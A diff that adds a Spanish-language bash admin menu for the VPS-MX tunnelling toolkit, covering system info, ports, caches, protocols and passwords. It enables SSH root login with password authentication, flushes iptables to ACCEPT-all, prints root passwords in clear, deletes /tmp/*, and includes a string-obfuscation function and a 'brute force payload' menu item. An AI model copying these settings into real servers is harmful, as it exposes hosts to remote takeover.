+        [[ -z $valor2 ]] && {
+            echo -e " "
+            break
+        }
+        valor2="\033[1;32m[$i] > \033[1;33m$valor2"
+        while [[ ${#valor2} -lt 37 ]]; do
+            valor2=$valor2" "
+        done
+        echo -ne "$valor2"
+        let i++
+        valor3="$(echo ${idioma[$i]} | cut -d' ' -f2)"
+        [[ -z $valor3 ]] && {
+            echo -e " "
+            break
+        }
+        valor3="\033[1;32m[$i] > \033[1;33m$valor3"
+        while [[ ${#valor3} -lt 37 ]]; do
+            valor3=$valor3" "
+        done
+        echo -e "$valor3"
+    done
+    msg -bar2
+    unset selection
+    while [[ ${selection} != @([1-8]) ]]; do
+        echo -ne "\033[1;37m$(fun_trans "  ► Selecione una Opcion"): " && read selection
+        tput cuu1 && tput dl1
+    done
+    [[ -e /etc/VPS-MX/texto-mx ]] && rm /etc/VPS-MX/texto-mx
+    echo "$(echo ${idioma[$selection]} | cut -d' ' -f1)" >${SCPidioma}
+}
+menu_info() {
+    meu_ip &>/dev/null
+    if [[ "$(grep -c "Ubuntu" /etc/issue.net)" = "1" ]]; then
+        system=$(cut -d' ' -f1 /etc/issue.net)
+        system+=$(echo ' ')
+        system+=$(cut -d' ' -f2 /etc/issue.net | awk -F "." '{print $1}')
+    elif [[ "$(grep -c "Debian" /etc/issue.net)" = "1" ]]; then
+        system=$(cut -d' ' -f1 /etc/issue.net)
+        system+=$(echo ' ')
+        system+=$(cut -d' ' -f3 /etc/issue.net)
+    else
+        system=$(cut -d' ' -f1 /etc/issue.net)
+    fi
+    _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
+    _ram=$(printf ' %-8s' "$(free -h | grep -i mem | awk {'print $2'})")
+    _ram2=$(printf ' %-8s' "$(free -h | grep -i mem | awk {'print $4'})")
+    _system=$(printf '%-9s' "$system")
+    _core=$(printf '%-8s' "$(grep -c cpu[0-9] /proc/stat)")
+    _usop=$(top -bn1 | sed -rn '3s/[^0-9]* ([0-9\.]+) .*/\1/p;4s/.*, ([0-9]+) .*/\1/p' | tr '\n' ' ')
+    modelo1=$(printf '%-11s' "$(lscpu | grep Arch | sed 's/\s\+/,/g' | cut -d , -f2)")
+    mb=$(printf '%-8s' "$(free -h | grep Mem | sed 's/\s\+/,/g' | cut -d , -f6)")
+    _hora=$(printf '%(%H:%M:%S)T')
+    _hoje=$(date +'%d/%m/%Y')
+    echo -e "\033[1;37m OS \033[1;31m: \033[1;32m$_system \033[1;37mHORA\033[1;31m: \033[1;32m$_hora  \033[1;37mIP\033[1;31m:\033[1;32m $(meu_ip)"
+    echo -e "\033[1;37m RAM\e[31m: \033[1;32m$_ram \033[1;37mUSADO\033[1;31m: \033[1;32m$mb\033[1;37m LIBRE\033[1;31m: \033[1;32m$_ram2"
+}
+ofus() {
+    unset txtofus
+    number=$(expr length $1)
+    for ((i = 1; i < $number + 1; i++)); do
+        txt[$i]=$(echo "$1" | cut -b $i)
+        case ${txt[$i]} in
+        ".") txt[$i]="C" ;;
+        "C") txt[$i]="." ;;
+        "3") txt[$i]="@" ;;
+        "@") txt[$i]="3" ;;
+        "4") txt[$i]="9" ;;
+        "9") txt[$i]="4" ;;
+        "6") txt[$i]="P" ;;
+        "P") txt[$i]="6" ;;
+        "L") txt[$i]="K" ;;
+        "K") txt[$i]="L" ;;
+        esac
+        txtofus+="${txt[$i]}"
+    done
+    echo "$txtofus" | rev
+}
+SPR &
+limpar_caches() {
+    (
+        VE="\033[1;33m" && MA="\033[1;31m" && DE="\033[1;32m"
+        while [[ ! -e /tmp/abc ]]; do
+            A+="#"
+            echo -e "${VE}[${MA}${A}${VE}]" >&2
+            sleep 0.3s
+            tput cuu1 && tput dl1
+        done
+        echo -e "${VE}[${MA}${A}${VE}] - ${DE}[100%]" >&2
+        rm /tmp/abc
+    ) &
+    echo 3 >/proc/sys/vm/drop_caches &>/dev/null
+    sleep 1s
+    sysctl -w vm.drop_caches=3 &>/dev/null
+    apt-get autoclean -y &>/dev/null
+    sleep 1s
+    apt-get clean -y &>/dev/null
+    rm /tmp/* &>/dev/null
+    touch /tmp/abc
+    sleep 0.5s
+    msg -bar
+    msg -ama "$(fun_trans "PROCESO CONCLUIDO")"
+    msg -bar
+}
+fun_autorun() {
+    if [[ -e /etc/bash.bashrc-bakup ]]; then
+        mv -f /etc/bash.bashrc-bakup /etc/bash.bashrc
+        cat /etc/bash.bashrc | grep -v "/etc/VPS-MX/menu" >/tmp/bash
+        mv -f /tmp/bash /etc/bash.bashrc
+        msg -ama "$(fun_trans "REMOVIDO CON EXITO")"
+        msg -bar
+    elif [[ -e /etc/bash.bashrc ]]; then
+        cat /etc/bash.bashrc | grep -v /bin/menu >/etc/bash.bashrc.2
+        echo '/etc/VPS-MX/menu' >>/etc/bash.bashrc.2
+        cp /etc/bash.bashrc /etc/bash.bashrc-bakup
+        mv -f /etc/bash.bashrc.2 /etc/bash.bashrc
+        msg -ama "$(fun_trans "AUTO INICIALIZAR AGREGADO")"
+        msg -bar
+    fi
+}
+fun_bar() {
+    comando="$1"
+    _=$(
+        $comando >/dev/null 2>&1
+    ) &
+    >/dev/null
+    pid=$!
+    while [[ -d /proc/$pid ]]; do
+        echo -ne " \033[1;33m["
+        for ((i = 0; i < 10; i++)); do
+            echo -ne "\033[1;31m##"
+            sleep 0.2
+        done
+        echo -ne "\033[1;33m]"
+        sleep 1s
+        echo
+        tput cuu1
+        tput dl1
+    done
+    echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
+    sleep 1s
+}
+meu_ip() {
+    if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+        echo "$(cat /etc/VPS-MX/MEUIPvps)"
+    else
+        MEU_IP=$(wget -qO- ifconfig.me)
+        echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
+    fi
+}
+fun_ip() {
+    if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+        IP="$(cat /etc/VPS-MX/MEUIPvps)"
+    else
+        MEU_IP=$(wget -qO- ifconfig.me)
+        echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
+    fi
+}
+fun_eth() {
+    eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+    [[ $eth != "" ]] && {
+        msg -bar
+        msg -ama " $(fun_trans "Aplicar el sistema para mejorar los paquetes SSH?")"
+        msg -ama " $(fun_trans "Opciones para usuarios avanzados")"
+        msg -bar
+        read -p " [S/N]: " -e -i n sshsn
+        [[ "$sshsn" = @(s|S|y|Y) ]] && {
+            echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH ...")"
+            echo -e " $(fun_trans "¿Cual es la tasa RX?")"
+            echo -ne "[ 1 - 999999999 ]: "
+            read rx
+            [[ "$rx" = "" ]] && rx="999999999"
+            echo -e " $(fun_trans "¿Cual es la tasa TX?")"
+            echo -ne "[ 1 - 999999999 ]: "
+            read tx
+            [[ "$tx" = "" ]] && tx="999999999"
+            apt-get install ethtool -y >/dev/null 2>&1
+            ethtool -G $eth rx $rx tx $tx >/dev/null 2>&1
+        }
+        msg -bar
+    }
+}
+os_system() {
+    system=$(echo $(cat -n /etc/issue | grep 1 | cut -d' ' -f6,7,8 | sed 's/1//' | sed 's/      //'))
+    echo $system | awk '{print $1, $2}'
+}
+lacasita() {
+    unset puertos
+    declare -A port
+    local portasVAR=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
+    local NOREPEAT
+    local reQ
+    local Port
+    while read port; do
+        reQ=$(echo ${port} | awk '{print $1}')
+        Port=$(echo ${port} | awk '{print $9}' | awk -F ":" '{print $2}')
+        [[ $(echo -e $NOREPEAT | grep -w "$Port") ]] && continue
+        NOREPEAT+="$Port\n"
+        case ${reQ} in
+        squid | squid3)
+            [[ -z ${port[SQD]} ]] && local port[SQD]="\033[1;31m SQUID: \033[1;32m"
+            port[SQD]+="$Port "
+            ;;
+        apache | apache2)
+            [[ -z ${port[APC]} ]] && local port[APC]="\033[1;31m APACHE: \033[1;32m"
+            port[APC]+="$Port "
+            ;;
+        nginx)
+            [[ -z ${port[NG]} ]] && local port[NG]="\033[1;31m NGINX: \033[1;32m"
+            port[NG]+="$Port "
+            ;;
+        ssh | sshd)
+            [[ -z ${port[SSH]} ]] && local port[SSH]="\033[1;31m SSH: \033[1;32m"
+            port[SSH]+="$Port "
+            ;;
+        dropbear)
+            [[ -z ${port[DPB]} ]] && local port[DPB]="\033[1;31m DROPBEAR: \033[1;32m"
+            port[DPB]+="$Port "
+            ;;
+        ssserver | ss-server)
+            [[ -z ${port[SSV]} ]] && local port[SSV]="\033[1;31m SHADOWSOCKS: \033[1;32m"
+            port[SSV]+="$Port "
+            ;;
+        openvpn)
+            [[ -z ${port[OVPN]} ]] && local port[OVPN]="\033[1;31m OPENVPN-TCP: \033[1;32m"
+            port[OVPN]+="$Port "
+            ;;
+        stunnel4 | stunnel)
+            [[ -z ${port[SSL]} ]] && local port[SSL]="\033[1;31m SSL: \033[1;32m"
+            port[SSL]+="$Port "
+            ;;
+        python | python3)
+            [[ -z ${port[PY3]} ]] && local port[PY3]="\033[1;31m PYTHON: \033[1;32m"
+            port[PY3]+="$Port "
+            ;;
+        node)
+            [[ -z ${port[WS]} ]] && local port[WS]="\033[1;31m WEBSOCKET: \033[1;32m"
+            port[WS]+="$Port "
+            ;;
+        v2ray)
+            [[ -z ${port[V2R]} ]] && local port[V2R]="\033[1;31m V2RAY: \033[1;32m"
+            port[V2R]+="$Port "
+            ;;
+        badvpn-ud)
+            [[ -z ${port[BAD]} ]] && local port[BAD]="\033[1;31m BADVPN: \033[1;32m"
+            port[BAD]+="$Port "
+            ;;
+        esac
+    done <<<"${portasVAR}"
+    local portasVAR=$(lsof -V -i udp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
+    local NOREPEAT
+    local reQ
+    local Port
+    while read port; do
+        reQ=$(echo ${port} | awk '{print $1}')
+        Port=$(echo ${port} | awk '{print $9}' | awk -F ":" '{print $2}')
+        [[ $(echo -e $NOREPEAT | grep -w "$Port") ]] && continue
+        NOREPEAT+="$Port\n"
+        case ${reQ} in
+        openvpn)
+            [[ -z ${port[OVPN]} ]] && local port[OVPN]="\033[1;31m OPENVPN-UDP: \033[1;32m"
+            port[OVPN]+="$Port "
+            ;;
+        dns-serve)
+            [[ -z ${port[SLOW]} ]] && local port[SLOW]="\033[1;31m SlowDNS: \033[1;32m"
+            port[SLOW]+="$Port "
+            ;;
+        esac
+    done <<<"${portasVAR}"
+    k=1
+    for line in "${port[@]}"; do
+        [[ -z "$line" ]] && continue
+        let RESTO=k%2
+        if [[ $RESTO -eq 0 ]]; then
+            puertos+="$line\n"
+        else
+            puertos+="$line-"
+        fi
+        let k++
+    done
+    echo -e "$puertos" | column -t -s '-'
+}
+remove_script() {
+    clear
+    clear
+    msg -bar
+    msg -tit
+    msg -ama "          ¿ DESEA DESINSTALAR SCRIPT ?"
+    msg -bar
+    echo -e " Esto borrara todos los archivos del scrip VPS_MX"
+    msg -bar
+    while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+        read -p " [S/N]: " yesno
+        tput cuu1 && tput dl1
+    done
+    if [[ ${yesno} = @(s|S|y|Y) ]]; then
+        rm -rf ${SCPdir} &>/dev/null
+        rm -rf ${SCPusr} &>/dev/null
+        rm -rf ${SCPinst} &>/dev/null
+        [[ ! -d /usr/local/lib/ubuntn ]] && rm -rf /usr/local/lib/ubuntn
+        [[ ! -d /usr/share/mediaptre/local/log ]] && rm -rf /usr/share/mediaptre/local/log
+        [[ ! -d /usr/local/protec ]] && rm -rf /usr/local/protec
+        [[ -e /bin/VPSMX ]] && rm /bin/VPSMX
+        [[ -e /usr/bin/VPSMX ]] && rm /usr/bin/VPSMX
+        [[ -e /bin/menu ]] && rm /bin/menu
+        [[ -e /usr/bin/menu ]] && rm /usr/bin/menu
+        cd $HOME
+    fi
+    sudo apt-get --purge remove squid -y >/dev/null 2>&1
+    sudo apt-get --purge remove stunnel4 -y >/dev/null 2>&1
+    sudo apt-get --purge remove dropbear -y >/dev/null 2>&1
+}
+horas() {
+    msg -bar
+    echo -e "	\e[41mACTUALIZAR HORA LOCAL\e[0m"
+    msg -bar
+    n=1
+    for i in $(ls /usr/share/zoneinfo/America); do
+        loc=$(echo $i | awk -F ":" '{print $1}')
+        zona=$(printf '%-12s' "$loc")
+        echo -e " \e[37m [$n] \e[31m> \e[32m$zona"
+        r[$n]=$zona
+        selec="$n"
+        let n++
+    done
+    msg -bar
+    opci=$(selection_fun $selec)
+    rm -rf /etc/localtime >/dev/null 2>&1
+    echo "America/${r[$opci]}" >/etc/timezone
+    ln -fs /usr/share/zoneinfo/America/${r[$opci]} /etc/localtime >/dev/null 2>&1
+    dpkg-reconfigure --frontend noninteractive tzdata >/dev/null 2>&1 && echo -e "\033[1;32m [HORA ACTUALIZADA]" || echo -e "\033[1;31m [HORA NO ACTUALIZADO]"
+}
+systen_info() {
+    clear
+    clear
+    msg -bar
+    msg -tit
+    msg -ama "$(fun_trans "                DETALLES DEL SISTEMA")"
+    null="\033[1;31m"
+    msg -bar
+    if [ ! /proc/cpuinfo ]; then
+        msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
+        return 1
+    fi
+    if [ ! /etc/issue.net ]; then
+        msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
+        return 1
+    fi
+    if [ ! /proc/meminfo ]; then
+        msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
+        return 1
+    fi
+    totalram=$(free | grep Mem | awk '{print $2}')
+    usedram=$(free | grep Mem | awk '{print $3}')
+    freeram=$(free | grep Mem | awk '{print $4}')
+    swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}')
+    system=$(cat /etc/issue.net)
+    clock=$(lscpu | grep "CPU MHz" | awk '{print $3}')
+    based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}')
+    processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}')
+    cpus=$(cat /proc/cpuinfo | grep processor | wc -l)
+    [[ "$system" ]] && msg -ama "$(fun_trans "Sistema"): ${null}$system" || msg -ama "$(fun_trans "Sistema"): ${null}???"
+    [[ "$based" ]] && msg -ama "$(fun_trans "Base"): ${null}$based" || msg -ama "$(fun_trans "Base"): ${null}???"
+    [[ "$processor" ]] && msg -ama "$(fun_trans "Procesador"): ${null}$processor x$cpus" || msg -ama "$(fun_trans "Procesador"): ${null}???"
+    [[ "$clock" ]] && msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}$clock MHz" || msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}???"
+    msg -ama "$(fun_trans "Uso del Procesador"): ${null}$(ps aux | awk 'BEGIN { sum = 0 }  { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')"
+    msg -ama "$(fun_trans "Memoria Virtual Total"): ${null}$(($totalram / 1024))"
+    msg -ama "$(fun_trans "Memoria Virtual En Uso"): ${null}$(($usedram / 1024))"
+    msg -ama "$(fun_trans "Memoria Virtual Libre"): ${null}$(($freeram / 1024))"
+    msg -ama "$(fun_trans "Memoria Virtual Swap"): ${null}$(($swapram / 1024))MB"
+    msg -ama "$(fun_trans "Tempo Online"): ${null}$(uptime)"
+    msg -ama "$(fun_trans "Nombre De La Maquina"): ${null}$(hostname)"
+    msg -ama "$(fun_trans "IP De La  Maquina"): ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}')"
+    msg -ama "$(fun_trans "Version de Kernel"): ${null}$(uname -r)"
+    msg -ama "$(fun_trans "Arquitectura"): ${null}$(uname -m)"
+    msg -bar
+    return 0
+}
+[[ "$(crontab -l | grep 'vm.drop_caches=3' | wc -l)" != '0' ]] &>/dev/null && {
+    autram="\e[1;32m[ON]"
+} || {
+    autram="\e[1;31m[OFF]"
+}
+menu3() {
+    declare -A inst
+    pidr_inst
+    clear
+    valuest=$(ps ax | grep /etc/shadowsocks-r | grep -v grep)
+    [[ $valuest != "" ]] && valuest="\033[1;32m[ON] " || valuest="\033[1;31m[OFF]"
+    pidproxy=$(ps x | grep -w "lacasitamx.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy ]] && plox="\e[1;32m[ON] " || plox="\e[1;31m[OFF]"
+    Bot=$(ps x | grep -v grep | grep "ADMbot.sh")
+    [[ ! $Bot ]] && AD="\033[1;31m[OFF]" || AD="\033[1;32m[ON] "
+    msg -bar
+    msg -tit
+    export -f fun_eth
+    export -f fun_bar
+    export -f lacasita
+    lacasita
+    msg -bar
+    echo -e "	\e[97m\e[1;100mPROTOCOLOS\e[0m		  \e[97m\e[41mHERRAMIENTAS\e[0m"
+    msg -bar
+    echo -e "\e[1;93m[\e[92m1\e[93m]$(msg -verm2 "➛ ")$(msg -azu "BADVPN        ${inst[badvpn]}")  \e[1;93m[\e[92m11\e[93m]$(msg -verm2 "➛ ")$(msg -azu "ARCHIVO ONLINE")"
+    echo -e "\e[1;93m[\e[92m2\e[93m]$(msg -verm2 "➛ ")$(msg -azu "HTTP-PYTHON   $plox")  \e[1;93m[\e[92m12\e[93m]$(msg -verm2 "➛ ")$(msg -azu "FIREWALL")"
+    echo -e "\e[1;93m[\e[92m3\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SOCKS PYTHON  ${inst[python]}")  \e[1;93m[\e[92m13\e[93m]$(msg -verm2 "➛ ")$(msg -azu "FAIL2BAN PROTECION")"
+    echo -e "\e[1;93m[\e[92m4\e[93m]$(msg -verm2 "➛ ")$(msg -azu "V2RAY         ${inst[v2ray]}")  \e[1;93m[\e[92m14\e[93m]$(msg -verm2 "➛ ")$(msg -azu "DETALLES DE SISTEMA")"
+    echo -e "\e[1;93m[\e[92m5\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SSL           ${inst[stunnel4]}")  \e[1;93m[\e[92m15\e[93m]$(msg -verm2 "➛ ")$(msg -azu "TCP (BBR|BBR-Plus)")"
+    echo -e "\e[1;93m[\e[92m6\e[93m]$(msg -verm2 "➛ ")$(msg -azu "DROPBEAR      ${inst[dropbear]}")  \e[1;93m[\e[92m16\e[93m]$(msg -verm2 "➛ ")$(msg -azu "DNS NETFLIX")"
+    echo -e "\e[1;93m[\e[92m7\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SQUID         ${inst[squid]}")  \e[1;93m[\e[92m17\e[93m]$(msg -verm2 "➛ ")$(msg -azu "LIMPIAR-CACHÉ ")$autram"
+    echo -e "\e[1;93m[\e[92m8\e[93m]$(msg -verm2 "➛ ")$(msg -azu "OPENVPN       ${inst[openvpn]}")  \e[1;93m[\e[92m18\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SCANNER SUBDOMINIO")"
+    echo -e "\e[1;93m[\e[92m9\e[93m]$(msg -verm2 "➛ ")$(msg -azu "SLOWDNS            ${inst[dns - serve]}")  \e[1;93m[\e[92m19\e[93m]$(msg -verm2 "➛ ")$(msg -azu "PRUEBA DE VELOCIDAD")"
+    echo -e "\e[1;93m[\e[92m10\e[93m]$(msg -verm2 "➛ ")$(msg -azu "BOT TELEGRAM $AD")  \e[1;93m[\e[92m20\e[93m]$(msg -verm2 "➛ ")$(msg -azu "FIX ORACLE/AWS/AZR")"
+    echo -e "$(msg -verd "[0]")$(msg -verm2 "➛ ")$(msg -azu "⇚ VOLVER  ")           $(msg -verd "[21]")$(msg -verm2 "➛ ")$(msg -azu "\e[91m\e[43mHERRAMIENTAS BASICOS\e[0m")"
+    msg -bar
+    echo -ne " ►\e[1;37m Selecione Una Opcion: \e[33m " && read select
+    case $select in
+    0) ;;
+    1)
+        ${SCPinst}/budp.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    2)
+        ${SCPinst}/proxy.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    3)
+        ${SCPinst}/sockspy.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    4)
+        ${SCPinst}/v2ray.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    5)
+        ${SCPinst}/ssl.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    6)
+        ${SCPinst}/dropbear.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    7)
+        ${SCPinst}/squid.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    8)
+        ${SCPinst}/openvpn.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    9)
+        ${SCPinst}/slowdns.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    10) ${SCPfrm}/ADMbot.sh ;;
+    11) ${SCPfrm}/apacheon.sh ;;
+    12) ${SCPfrm}/blockBT.sh ;;
+    13) ${SCPfrm}/fai2ban.sh ;;
+    14) systen_info ;;
+    15) ${SCPfrm}/tcp.sh ;;
+    16) net ;;
+    17) cache ;;
+    18) ${SCPfrm}/ultrahost ;;
+    19) ${SCPfrm}/speed.py ;;
+    20) oracl ;;
+    21) extra ;;
+    *)
+        msg -verm2 " Por Favor Selecione El Número Correcto"
+        sleep 1.s
+        menu3
+        ;;
+    esac
+}
+extra() {
+    clear
+    clear
+    msg -bar
+    msg -tit
+    on="\033[1;32m[ON]" && off="\033[1;31m[OFF]"
+    [[ $(grep -c "^#ADM" /etc/sysctl.conf) -eq 0 ]] && tcp=$off || tcp=$on
+    if [ -e /etc/squid/squid.conf ]; then
+        [[ $(grep -c "^#CACHE_DO_SQUID" /etc/squid/squid.conf) -gt 0 ]] && squi=$off || squi=$on
+    elif [ -e /etc/squid3/squid.conf ]; then
+        [[ $(grep -c "^#CACHE_DO_SQUID" /etc/squid3/squid.conf) -gt 0 ]] && squi=$off || squi=$on
+    fi
+    echo -e "		\e[91m\e[43mHERRAMIENTAS BASICOS\e[0m"
+    msg -bar
+    echo -e " \e[1;93m[\e[92m1\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "ACTUALIZAR HORA LOCAL")"
+    echo -e " \e[1;93m[\e[92m2\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "HTOP")"
+    echo -e " \e[1;93m[\e[92m3\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "MODIFICAR PUERTOS ACTIVOS")"
+    echo -e " \e[1;93m[\e[92m4\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "PAYLOAD FUERZA BRUTA")"
+    echo -e " \e[1;93m[\e[92m5\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "TCP SPEED") $tcp"
+    echo -e " \e[1;93m[\e[92m6\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "CACHÉ PARA SQUID") $squi"
+    echo -e " \e[1;93m[\e[92m7\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "LIMPIAR PAQUETES OBSOLETOS")"
+    echo -e " \e[1;93m[\e[92m8\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "RESET IPTABLES")"
+    echo -e " \e[1;93m[\e[92m9\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "REINICIAR VPS")"
+    echo -e " \e[1;93m[\e[92m10\e[93m]$(msg -verm2 "➛ ")$(msg -azu "CAMBIAR HOSTNAME VPS")"
+    echo -e " \e[1;93m[\e[92m11\e[93m]$(msg -verm2 "➛ ")$(msg -azu "CAMBIAR CONTRASEÑA ROOT")"
+    echo -e " \e[1;93m[\e[92m12\e[93m]$(msg -verm2 "➛ ")$(msg -azu "AGREGAR ROOT a GoogleCloud y Amazon")"
+    echo -e " \e[1;93m[\e[92m13\e[93m]$(msg -verm2 "➛ ")$(msg -azu "AUTENTIFICAR SQUID")"
+    echo -e " \e[1;93m[\e[92m0\e[93m]$(msg -verm2 " ➛ ")$(msg -azu "VOLVER")"
+    msg -bar
+    echo -ne " ►\e[1;37m Selecione Una Opcion: \e[33m " && read select
+    case $select in
+    0) menu3 ;;
+    1) horas ;;
+    2) monhtop ;;
+    3)
+        ${SCPfrm}/ports.sh && msg -ne "Enter Para Continuar" && read enter
+        menu3
+        ;;
+    4) ${SCPfrm}/paysnd.sh ;;
+    5) TCPspeed ;;
+    6) SquidCACHE ;;
+    7) packobs ;;
+    8) resetiptables ;;
+    9) reiniciar_vps ;;
+    10) host_name ;;
+    11) cambiopass ;;
+    12) rootpass ;;
+    13) ${SCPfrm}/squidpass.sh ;;
+    *) ;;
+    esac
+}
+reiniciar_vps() {
+    echo -ne " \033[1;31m[ ! ] Sudo Reboot"
+    sleep 3s
+    echo -e "\033[1;32m [OK]"
+    (
+        sudo reboot
+    ) >/dev/null 2>&1
+    msg -bar
+    return
+}
+host_name() {
+    unset name
+    while [[ ${name} = "" ]]; do
+        echo -ne "\033[1;37m $(fun_trans "Nuevo nombre del host"): " && read name
+        tput cuu1 && tput dl1
+    done
+    hostnamectl set-hostname $name
+    if [ $(hostnamectl status | head -1 | awk '{print $3}') = "${name}" ]; then
+        echo -e "\033[1;33m $(fun_trans "Host alterado corretamente")!, $(fun_trans "reiniciar VPS")"
+    else
+        echo -e "\033[1;33m $(fun_trans "Host no modificado")!"
+    fi
+    msg -bar
+    return
+}
+cambiopass() {
+    echo -e "${cor[3]} $(fun_trans "Esta herramienta cambia la contraseña de su servidor vps")"
+    echo -e "${cor[3]} $(fun_trans "Esta contraseña es utilizada como usuario") root"
+    msg -bar
+    echo -ne " $(fun_trans "Desea Seguir?") [S/N]: "
+    read x
+    [[ $x = @(n|N) ]] && msg -bar && return
+    msg -bar
+    echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")"
+    msg -bar
+    read -p " Nuevo passwd: " pass
+    (
+        echo $pass
+        echo $pass
+    ) | passwd 2>/dev/null
+    sleep 1s
+    msg -bar
+    echo -e "${cor[3]} $(fun_trans "Contraseña cambiada con exito!")"
+    echo -e "${cor[2]} $(fun_trans "Su contraseña ahora es"): ${cor[4]}$pass"
+    msg -bar
+    return
+}
+dnsnetflix() {
+    echo "nameserver $dns1" >/etc/resolv.conf
+    echo "nameserver $dns2" >>/etc/resolv.conf
+    /etc/init.d/ssrmu stop &>/dev/null
+    /etc/init.d/ssrmu start &>/dev/null
+    /etc/init.d/shadowsocks-r stop &>/dev/null
+    /etc/init.d/shadowsocks-r start &>/dev/null
+    msg -bar2
+    echo -e "${cor[4]}  DNS AGREGADOS CON EXITO"
+}
+net() {
+    clear
+    msg -bar2
+    msg -tit
+    echo -e "\033[1;93m     AGREGADOR DE DNS PERSONALES"
+    msg -bar2
+    echo -e "\033[1;39m Esta funcion ara que puedas ver Netflix con tu VPS"
+    msg -bar2
+    echo -e "\033[1;39m En APPS como HTTP Inyector,KPN Rev,APKCUSTOM, etc."
+    echo -e "\033[1;39m Se deveran agregar en la aplicasion a usar estos DNS."
+    echo -e "\033[1;39m En APPS como SS,SSR,V2RAY no es necesario agregarlos."
+    msg -bar2
+    echo -e "\033[1;93m Recuerde escojer entre 1 DNS ya sea el de USA,BR,MX,CL \n segun le aya entregado el BOT."
+    echo ""
+    echo -e "\033[1;97m Ingrese su DNS Primario: \033[0;91m"
+    read -p " Primary Dns: " dns1
+    echo -e "\033[1;97m Ingrese su DNS Secundario: \033[0;91m"
+    read -p " Secondary Dns: " dns2
+    echo ""
+    msg -bar2
+    read -p " Estas seguro de continuar?  [ s | n ]: " dnsnetflix
+    [[ "$dnsnetflix" = "s" || "$dnsnetflix" = "S" ]] && dnsnetflix
+    msg -bar2
+}
+rootpass() {
+    clear
+    msg -bar
+    echo -e "${cor[3]}  Esta herramienta cambia a usuario root las VPS de "
+    echo -e "${cor[3]}             GoogleCloud y Amazon"
+    msg -bar
+    echo -ne " Desea Seguir? [S/N]: "
+    read x
+    [[ $x = @(n|N) ]] && msg -bar && return
+    msg -bar
+    echo -e "                 Aplicando Configuraciones"
+    fun_bar "service ssh restart"
+    sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
+    sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config
+    sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config
+    msg -bar
+    echo -e "Escriba su contraseña root actual o cambiela"
+    msg -bar
+    read -p " Nuevo passwd: " pass
+    (
+        echo $pass
+        echo $pass
+    ) | passwd 2>/dev/null
+    sleep 1s
+    msg -bar
+    echo -e "${cor[3]} Configuraciones aplicadas con exito!"
+    echo -e "${cor[2]} Su contraseña ahora es: ${cor[4]}$pass"
+    service ssh restart >/dev/null 2>&1
+    msg -bar
+    return
+}
+resetiptables() {
+    echo -e "Reiniciando Ipetables espere"
+    iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X && iptables -t mangle -F && iptables -t mangle -X && iptables -t raw -F && iptables -t raw -X && iptables -t security -F && iptables -t security -X && iptables -P INPUT ACCEPT && iptables -P FORWARD ACCEPT && iptables -P OUTPUT ACCEPT
+    echo -e "iptables reiniciadas con exito"
+}
+packobs() {
+    msg -ama "Buscando Paquetes Obsoletos"
+    dpkg -l | grep -i ^rc
+    msg -ama "Limpiando Paquetes Obsoloteos"
+    dpkg -l | grep -i ^rc | cut -d " " -f 3 | xargs dpkg --purge
+    msg -ama "Limpieza Completa"
+}
+TCPspeed() {
+    if [[ $(grep -c "^#ADM" /etc/sysctl.conf) -eq 0 ]]; then
+        msg -ama "$(fun_trans "TCP Speed No Activado, Desea Activar Ahora")?"
+        msg -bar
+        while [[ ${resposta} != @(s|S|n|N|y|Y) ]]; do
+            read -p " [S/N]: " -e -i s resposta
+            tput cuu1 && tput dl1
+        done
